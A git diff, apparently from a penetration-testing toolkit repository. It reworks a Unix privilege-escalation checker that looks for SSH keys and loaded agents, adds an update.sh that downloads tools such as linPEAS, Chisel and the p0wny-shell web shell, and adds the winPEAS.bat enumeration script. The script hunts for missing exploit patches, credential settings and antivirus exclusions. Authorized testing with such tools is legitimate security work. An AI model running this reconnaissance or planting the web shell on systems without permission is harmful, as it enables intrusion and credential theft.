-			MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = `
-			if [ -n "$MYPATH" ]; then
-				echo Crontab path is $MYPATH
-			fi
-			grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE
-			do
-				echo "Processing crontab entry: $LINE"
-				PROG=`echo "$LINE" | awk '{print $6}'`
-				check_called_programs "$PROG is run from cron as $USER." $PROG $USER $MYPATH
-			done
-		else
-			echo "ERROR: Can't read file $FILE"
-		fi
-	done
-else
-	echo "Directory /var/spool/cron/tabs is not present.  Skipping checks."
-fi
-
-# Check programs run from /etc/inetd.conf have secure permissions
-# TODO: check inetd is actually running
-section "Checking inetd programs aren't writable"
-if [ -f /etc/inetd.conf ] && [ -r /etc/inetd.conf ]; then
-	grep -v '^#' /etc/inetd.conf | grep -v '^[ \t]*$' | while read LINE
-	do
-		USER=`echo $LINE | awk '{print $5}'`
-		PROG=`echo $LINE | awk '{print $6}'`  # could be tcpwappers ...
-		PROG2=`echo $LINE | awk '{print $7}'` # ... and this is the real prog
-		if [ -z "$PROG" ] || [ "$PROG" = "internal" ]; then
-			# Not calling an external program
-			continue
+			. "lib/checks/${checkfilename}"
+			`basename "${checkfilename}"`_init
+			`basename "${checkfilename}"`_main
+			`basename "${checkfilename}"`_fini
 		fi
-		echo Processing inetd line: $LINE
-		if [ -f "$PROG" ]; then
-			check_called_programs "$PROG is run from inetd as $USER." $PROG $USER
-		fi
-		if [ -f "$PROG2" ]; then
-			check_called_programs "$PROG is run from inetd as $USER." $PROG2 $USER
-		fi
-	done
-else
-	echo "File /etc/inetd.conf not present.  Skipping checks."
-fi
-
-# Check programs run from /etc/xinetd.d/*
-# TODO: check xinetd is actually running
-section "Checking xinetd programs aren't writeable"
-if [ -d /etc/xinetd.d ]; then
-	for FILE in `grep 'disable[ \t]*=[ \t]*no' /etc/xinetd.d/* | cut -f 1 -d :`; do
-		echo Processing xinetd service file: $FILE
-		PROG=`grep '^[ \t]*server[ \t]*=[ \t]*' $FILE | sed 's/.*server.*=[ \t]*//'`
-		USER=`grep '^[ \t]*user[ \t]*=[ \t]*' $FILE | sed 's/.*user.*=[ \t]*//'`
-		check_called_programs "$PROG is run from xinetd as $USER." $PROG $USER
 	done
 else
-	echo "Directory /etc/xinetd.d not present.  Skipping checks."
-fi
-
-# Check for writable home directories
-section "Checking home directories aren't writable"
-cat /etc/passwd | grep -v '^#' | while read LINE
-do
-	echo Processing /etc/passwd line: $LINE
-	USER=`echo $LINE | cut -f 1 -d :`
-	DIR=`echo $LINE | cut -f 6 -d :`
-	SHELL=`echo $LINE | cut -f 7 -d :`
-	if [ "$SHELL" = "/sbin/nologin" ] || [ "$SHELL" = "/bin/false" ]; then
-		echo "    Skipping user $USER.  They don't have a shell."
+	if [ ! -d "lib/checks/enabled/${TYPE}" ]
+	then
+		stdio_message_error "upc" "the provided check type '${TYPE}' does not exist"
 	else
-		if [ "$DIR" = "/dev/null" ]; then
-			echo "    Skipping /dev/null home directory"
-		else
-			check_perms "$DIR is the home directory of $USER." $DIR $USER
-		fi
-	fi
-done
-
-# Check for readable files in home directories
-section "Checking for readable sensitive files in home directories"
-cat /etc/passwd | while read LINE
-do
-	USER=`echo $LINE | cut -f 1 -d :`
-	DIR=`echo $LINE | cut -f 6 -d :`
-	SHELL=`echo $LINE | cut -f 7 -d :`
-	for FILE in $HOME_DIR_FILES; do
-		if [ -f "$DIR/$FILE" ]; then
-			check_read_perms "$DIR/$FILE is in the home directory of $USER." "$DIR/$FILE" $USER
-		fi
-	done
-done
-
-section "Checking SUID programs"
-if [ "$MODE" = "detailed" ]; then
-	for FILE in `find / -type f -perm -04000 2>/dev/null`; do
-		check_called_programs_suid $FILE
-	done
-else
-	echo "Skipping checks of SUID programs (it's slow!).  Run again in 'detailed' mode."
-fi
-
-# Check for private SSH keys in home directories
-section "Checking for Private SSH Keys home directories"
-for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do
-	if [ -d "$HOMEDIR/.ssh" ]; then
-		PRIV_KEYS=`grep -l 'BEGIN [RD]SA PRIVATE KEY' $HOMEDIR/.ssh/* 2>/dev/null`
-		if [ -n "$PRIV_KEYS" ]; then
-			for KEY in $PRIV_KEYS; do
-				ENC_KEY=`grep -l 'ENCRYPTED' "$KEY" 2>/dev/null`
-				if [ -n "$ENC_KEY" ]; then
-					echo "WARNING: Encrypted Private SSH Key Found in $KEY"
-				else
-					echo "WARNING: Unencrypted Private SSH Key Found in $KEY"
-				fi
-			done
-		fi
-	fi
-done
-
-# Check for public SSH keys in home directories
-section "Checking for Public SSH Keys home directories"
-for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do
-	if [ -r "$HOMEDIR/.ssh/authorized_keys" ]; then
-		KEYS=`grep '^ssh-' $HOMEDIR/.ssh/authorized_keys 2>/dev/null`
-		if [ -n "$KEYS" ]; then
-			echo "WARNING: Public SSH Key Found in $HOMEDIR/.ssh/authorized_keys"
-		fi
-	fi
-done
-
-# Check for any SSH agents running on the box
-section "Checking for SSH agents"
-AGENTS=`ps -ef | grep ssh-agent | grep -v grep`
-if [ -n "$AGENTS" ]; then
-	echo "WARNING: There are SSH agents running on this system:"
-	ps -ef | grep ssh-agent | grep -v grep
-	# for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print $2}'`; do
-	for SOCK in `ls /tmp/ssh-*/agent.* 2>/dev/null`; do
-		SSH_AUTH_SOCK=$SOCK; export SSH_AUTH_SOCK
-		AGENT_KEYS=`ssh-add -l | grep -v 'agent has no identities.' 2>/dev/null`
-		if [ -n "$AGENT_KEYS" ]; then
-			echo "WARNING: SSH Agent has keys loaded [SSH_AUTH_SOCK=$SSH_AUTH_SOCK]"
-			ssh-add -l
-		fi
-	done
-else
-	echo "No SSH agents found"
-fi
-
-# Check for any GPG agents running on the box
-section "Checking for GPG agents"
-AGENTS=`ps -ef | grep gpg-agent | grep -v grep`
-if [ -n "$AGENTS" ]; then
-	echo "WARNING: There are GPG agents running on this system:"
-	ps aux | grep gpg-agent | grep -v grep
-else
-	echo "No GPG agents found"
-fi
-
-# Check files in /etc/init.d/* can't be modified by non-root users
-section "Checking startup files (init.d / rc.d) aren't writable"
-for DIR in /etc/init.d /etc/rc.d /usr/local/etc/rc.d; do
-	if [ -d "$DIR" ]; then
-		for FILE in $DIR/*; do
-	                F=`echo "$FILE" | sed 's/^.*\///'`
-	                if [ "$F" = "*" ]; then
-	                        echo "No user startup script found in $DIR.  Skipping checks."
-	                        continue
-	                fi
-			echo Processing startup script $FILE
-			check_called_programs "$FILE is run by root at startup." $FILE root
+		for checkfilename in lib/checks/enabled/${TYPE}/*
+		do
+			. "${checkfilename}"
+			`basename "${checkfilename}"`_init
+			`basename "${checkfilename}"`_main
+			`basename "${checkfilename}"`_fini
 		done
 	fi
-done
-
-section "Checking if running programs are writable"
-if [ $OS = "solaris" ]; then
-	# use the output of ps command
-	ps -ef -o user,comm | while read LINE
-	do
-		USER=`echo "$LINE" | awk '{print $1}'`
-		PROG=`echo "$LINE" | awk '{print $2}'`
-		check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER"
-	done
-elif [ $OS = "bsd" ]; then
-	# use the output of ps command
-	ps aux | while read LINE
-	do
-		USER=`echo "$LINE" | awk '{print $1}'`
-		PROG=`echo "$LINE" | awk '{print $11}'`
-		check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER"
-	done
-elif [ $OS = "hpux" ]; then
-	# use the output of ps command
-	ps -ef | while read LINE
-	do
-		USER=`echo "$LINE" | awk '{print $1}'`
-		PROG1=`echo "$LINE" | awk '{print $8}'`
-		PROG2=`echo "$LINE" | awk '{print $9}'`
-		if [ -f "$PROG1" ]; then
-			check_called_programs "$PROG is currently running as $USER." "$PROG1" "$USER"
-		fi
-		if [ -f "$PROG2" ]; then
-			check_called_programs "$PROG is currently running as $USER." "$PROG2" "$USER"
-		fi
-	done
-elif [ $OS = "linux" ]; then
-	# use the /proc file system
-	for PROCDIR in /proc/[0-9]*; do
-		unset PROGPATH
-		PID=`echo $PROCDIR | cut -f 3 -d /`
-		echo ------------------------
-		echo "PID:           $PID"
-		if [ -d "$PROCDIR" ]; then
-			if [ -r "$PROCDIR/exe" ]; then
-				PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'`
-			else
-				if [ -r "$PROCDIR/cmdline" ]; then
-					P=`cat $PROCDIR/cmdline | tr "\0" = | cut -f 1 -d = | grep '^/'`
-					if [ -z "$P" ]; then
-						echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline`
-					else
-						PROGPATH=$P
-					fi
-				else
-					echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline`
-					continue
-				fi
-			fi
-			get_owner $PROCDIR; OWNER=$GET_OWNER_RETURN
-			echo "Owner:         $OWNER"
-		else
-			echo "ERROR: Can't find OWNER.  Process has gone."
-			continue
-		fi
-
-		if [ -n "$PROGPATH" ]; then
-			get_owner $PROGPATH; PROGOWNER=$GET_OWNER_RETURN
-			echo "Program path:  $PROGPATH"
-			check_called_programs "$PROGPATH is currently running as $OWNER." $PROGPATH $OWNER
-		fi
-
-		if [ "$MODE" == "detailed" ]; then
-			for FILE in $PROCDIR/fd/*; do
-		                F=`echo "$FILE" | sed 's/^.*\///'`
-		                if [ "$F" = "*" ]; then
-		                        continue
-		                fi
-				check_perms "$FILE is an open file descriptor for process $PID running as $OWNER." $FILE $OWNER
-			done
-		fi
-	done
 fi
+exit 0

update.sh

@@ -0,0 +1,38 @@
+#!/bin/bash
+
+echo "Updating scripts…"
+wget --no-verbose https://raw.githubusercontent.com/initstring/uptux/master/uptux.py -O uptux.py
+wget --no-verbose https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/upc.sh -O unix-privesc-check.sh
+wget --no-verbose https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -O pspy64
+wget --no-verbose https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32 -O pspy
+wget --no-verbose https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php -O p0wny-shell.php
+wget --no-verbose https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh -O lse.sh
+wget --no-verbose https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O linux-exploit-suggester.sh
+wget --no-verbose https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/linpeas.sh -O linpeas.sh
+wget --no-verbose https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh -O LinEnum.sh
+wget --no-verbose https://github.com/stealthcopter/deepce/raw/main/deepce.sh -O deepce.sh
+
+echo "Updating autorecon…"
+wget --no-verbose https://raw.githubusercontent.com/Tib3rius/AutoRecon/master/src/autorecon/autorecon.py -O autorecon.py
+wget --no-verbose https://github.com/Tib3rius/AutoRecon/raw/master/src/autorecon/config/global-patterns-default.toml -O autorecon_config/global-patterns.toml
+wget --no-verbose https://github.com/Tib3rius/AutoRecon/raw/master/src/autorecon/config/port-scan-profiles-default.toml -O autorecon_config/port-scan-profiles.toml
+wget --no-verbose https://github.com/Tib3rius/AutoRecon/raw/master/src/autorecon/config/service-scans-default.toml -O autorecon_config/service-scans.toml
+
+echo "Updating Chisel…"
+location=$(curl -s -I https://github.com/jpillora/chisel/releases/latest | grep -i "location: " | awk '{ print $2 }')
+if [[ "$location" =~ ^https://github.com/jpillora/chisel/releases/tag/v(.*) ]]; then
+  chisel_version=${BASH_REMATCH[1]}
+  chisel_version=${chisel_version%%[[:space:]]}
+  curl -s -L "https://github.com/jpillora/chisel/releases/download/v${chisel_version}/chisel_${chisel_version}_linux_386.gz"    | gzip -d > chisel
+  curl -s -L "https://github.com/jpillora/chisel/releases/download/v${chisel_version}/chisel_${chisel_version}_linux_amd64.gz"  | gzip -d > chisel64
+  curl -s -L "https://github.com/jpillora/chisel/releases/download/v${chisel_version}/chisel_${chisel_version}_windows_386.gz"  | gzip -d > win/chisel.exe
+  curl -s -L "https://github.com/jpillora/chisel/releases/download/v${chisel_version}/chisel_${chisel_version}_windows_amd64.gz"  | gzip -d > win/chisel64.exe
+fi
+
+# TODO: add others
+echo "Updating windows tools…"
+wget --no-verbose https://live.sysinternals.com/accesschk.exe -O win/accesschk.exe
+wget --no-verbose https://live.sysinternals.com/accesschk64.exe -O win/accesschk64.exe
+wget --no-verbose https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe -O win/winPEAS.exe
+wget --no-verbose https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O win/winPEASx64.exe
+wget --no-verbose https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/winPEAS/winPEASbat/winPEAS.bat -O win/winPEAS.bat

win/winPEAS.bat

@@ -1,12 +1,654 @@
---2021-05-03 18:13:46--  https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/winPEAS/winPEASbat/winPEAS.bat
-CA-Zertifikat »/etc/ssl/certs/ca-certificates.crt« wurde geladen
-Auflösen des Hostnamens raw.githubusercontent.com (raw.githubusercontent.com)… 185.199.111.133, 185.199.110.133, 185.199.109.133, ...
-Verbindungsaufbau zu raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443 … verbunden.
-HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
-Länge: 35107 (34K) [text/plain]
-Wird in »winPEAS.bat.1« gespeichert.
+@ECHO OFF & SETLOCAL EnableDelayedExpansion
+TITLE WinPEAS - Windows local Privilege Escalation Awesome Script
+COLOR 0F
+CALL :SetOnce
 
-     0K .......... .......... .......... ....                 100% 13,2M=0,003s
+REM :: WinPEAS - Windows local Privilege Escalation Awesome Script
+REM :: Code by carlospolop; Re-Write by ThisLimn0
 
-2021-05-03 18:13:46 (13,2 MB/s) - »winPEAS.bat.1« gespeichert [35107/35107]
+REM Registry scan of other drives besides 
+REM /////true or false
+SET long=false
 
+:Splash
+ECHO.
+CALL :ColorLine "            %E%32m((,.,/((((((((((((((((((((/,  */%E%97m"
+CALL :ColorLine "     %E%32m,/*,..*(((((((((((((((((((((((((((((((((,%E%97m"              
+CALL :ColorLine "   %E%32m,*/((((((((((((((((((/,  %E%92m.*//((//**,%E%32m .*((((((*%E%97m"       
+CALL :ColorLine "   %E%32m((((((((((((((((* %E%94m*****%E%32m,,,/########## %E%32m.(* ,((((((%E%97m"   
+CALL :ColorLine "   %E%32m(((((((((((/* %E%94m******************%E%32m/####### %E%32m.(. ((((((%E%97m"
+CALL :ColorLine "   %E%32m((((((.%E%92m.%E%94m******************%E%97m/@@@@@/%E%94m***%E%92m/######%E%32m /((((((%E%97m"
+CALL :ColorLine "   %E%32m,,.%E%92m.%E%94m**********************%E%97m@@@@@@@@@@(%E%94m***%E%92m,####%E%32m ../(((((%E%97m"
+CALL :ColorLine "   %E%32m, ,%E%92m%E%94m**********************%E%97m#@@@@@#@@@@%E%94m*********%E%92m##%E%32m((/ /((((%E%97m"
+CALL :ColorLine "   %E%32m..((%E%92m(##########%E%94m*********%E%97m/#@@@@@@@@@/%E%94m*************%E%32m,,..((((%E%97m"
+CALL :ColorLine "   %E%32m.((%E%92m(################(/%E%94m******%E%97m/@@@@@#%E%94m****************%E%32m.. /((%E%97m"
+CALL :ColorLine "   %E%32m.(%E%92m(########################(/%E%94m************************%E%32m..*(%E%97m"
+CALL :ColorLine "   %E%32m.(%E%92m(#############################(/%E%94m********************%E%32m.,(%E%97m"
+CALL :ColorLine "   %E%32m.(%E%92m(##################################(/%E%94m***************%E%32m..(%E%97m"
+CALL :ColorLine "   %E%32m.(%E%92m(######################################(%E%94m************%E%32m..(%E%97m"
+CALL :ColorLine "   %E%32m.(%E%92m(######(,.***.,(###################(..***(/%E%94m*********%E%32m..(%E%97m"
+CALL :ColorLine "   %E%32m.(%E%92m(######*(#####((##################((######/(%E%94m********%E%32m..(%E%97m"
+CALL :ColorLine "   %E%32m.(%E%92m(##################(/**********(################(%E%94m**%E%32m...(%E%97m"
+CALL :ColorLine "   %E%32m.((%E%92m(####################/*******(###################%E%32m.((((%E%97m" 
+CALL :ColorLine "   %E%32m.((((%E%92m(############################################/%E%32m  /((%E%97m"
+CALL :ColorLine "   %E%32m..((((%E%92m(#########################################(%E%32m..(((((.%E%97m"
+CALL :ColorLine "   %E%32m....((((%E%92m(#####################################(%E%32m .((((((.%E%97m"
+CALL :ColorLine "   %E%32m......((((%E%92m(#################################(%E%32m .(((((((.%E%97m"
+CALL :ColorLine "   %E%32m(((((((((. ,%E%92m(############################(%E%32m../(((((((((.%E%97m"
+CALL :ColorLine "       %E%32m(((((((((/,  %E%92m,####################(%E%32m/..((((((((((.%E%97m"
+CALL :ColorLine "             %E%32m(((((((((/,.  %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m"
+CALL :ColorLine "                %E%32m(((((((((((((((((((((((((((/%E%97m"
+ECHO.                       by carlospolop
+ECHO.
+ECHO.
+
+:Advisory
+REM // Increase progress in title by n percent
+CALL :T_Progress 0
+ECHO./^^!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
+CALL :ColorLine "   %E%41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.%E%40;97m"
+CALL :ColorLine "   %E%41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.%E%40;97m"
+CALL :ColorLine "   %E%41mUse it at your own networks and/or with the network owner's permission.%E%40;97m"
+ECHO.
+
+:SystemInfo
+CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
+CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
+ECHO.   [i] Check for vulnerabilities for the OS version with the applied patches
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
+systeminfo
+ECHO.
+CALL :T_Progress 2
+
+:ListHotFixes
+wmic qfe get Caption,Description,HotFixID,InstalledOn | more
+set expl=no
+for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
+IF "%expl%" == "yes" ECHO.   [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2592799" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB982799" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979683" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2305420" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB981957" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4013081" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB977165" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB941693" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB920958" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB914389" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB908523" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB890859" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB842526" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB835732" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB841872" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2975684" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3057191" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2989935" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2778930" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2850851" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
+IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2870008" 1>NUL
+IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
+ECHO.
+CALL :T_Progress 2
+
+:DateAndTime
+CALL :ColorLine " %E%33m[+]%E%97m DATE and TIME"
+ECHO.   [i] You may need to adjust your local date/time to exploit some vulnerability
+date /T
+time /T
+ECHO.
+CALL :T_Progress 2
+
+:AuditSettings
+CALL :ColorLine " %E%33m[+]%E%97m Audit Settings"
+ECHO.   [i] Check what is being logged
+REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit 2>nul
+ECHO.
+CALL :T_Progress 1
+
+:WEFSettings
+CALL :ColorLine " %E%33m[+]%E%97m WEF Settings"
+ECHO.   [i] Check where are being sent the logs
+REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager 2>nul
+ECHO.
+CALL :T_Progress 1
+
+:LAPSInstallCheck
+CALL :ColorLine " %E%33m[+]%E%97m LAPS installed?"
+ECHO.   [i] Check what is being logged
+REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
+ECHO.
+CALL :T_Progress 1
+
+:LSAProtectionCheck
+CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
+ECHO.   [i] Active if "1"
+REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL 2>nul
+CALL :T_Progress 1
+
+:LSACredentialGuard
+CALL :ColorLine " %E%33m[+]%E%97m Credential Guard?"
+ECHO.   [i] Active if "1" or "2"
+REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags 2>nul
+ECHO.
+CALL :T_Progress 1
+
+:LogonCredentialsPlainInMemory
+CALL :ColorLine " %E%33m[+]%E%97m WDigest?"
+ECHO.   [i] Plain-text creds in memory if "1"
+reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 2>nul
+ECHO.
+CALL :T_Progress 1
+
+:CachedCreds
+CALL :ColorLine " %E%33m[+]%E%97m Number of cached creds"
+ECHO.   [i] You need System-rights to extract them
+reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CACHEDLOGONSCOUNT 2>nul
+CALL :T_Progress 1
+
+:UACSettings
+CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
+ECHO.   [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
+ECHO.   [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
+REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
+ECHO.
+CALL :T_Progress 1
+
+:AVSettings
+CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)"
+WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more 
+ECHO.Checking for defender whitelisted PATHS
+reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" 2>nul
+CALL :T_Progress 1
+
+:PSSettings
+CALL :ColorLine " %E%33m[+]%E%97m PowerShell settings"
+ECHO.PowerShell v2 Version:
+REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion 2>nul
+ECHO.PowerShell v5 Version:
+REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion 2>nul
+ECHO.Transcriptions Settings:
+REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription 2>nul
+ECHO.Module logging settings:
+REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging 2>nul
+ECHO.Scriptblog logging settings:
+REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 2>nul
+ECHO.
+ECHO.PS default transcript history
+dir %SystemDrive%\transcripts\ 2>nul
+ECHO.
+ECHO.Checking PS history file
+dir "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" 2>nul
+ECHO.
+CALL :T_Progress 3
+
+:MountedDisks
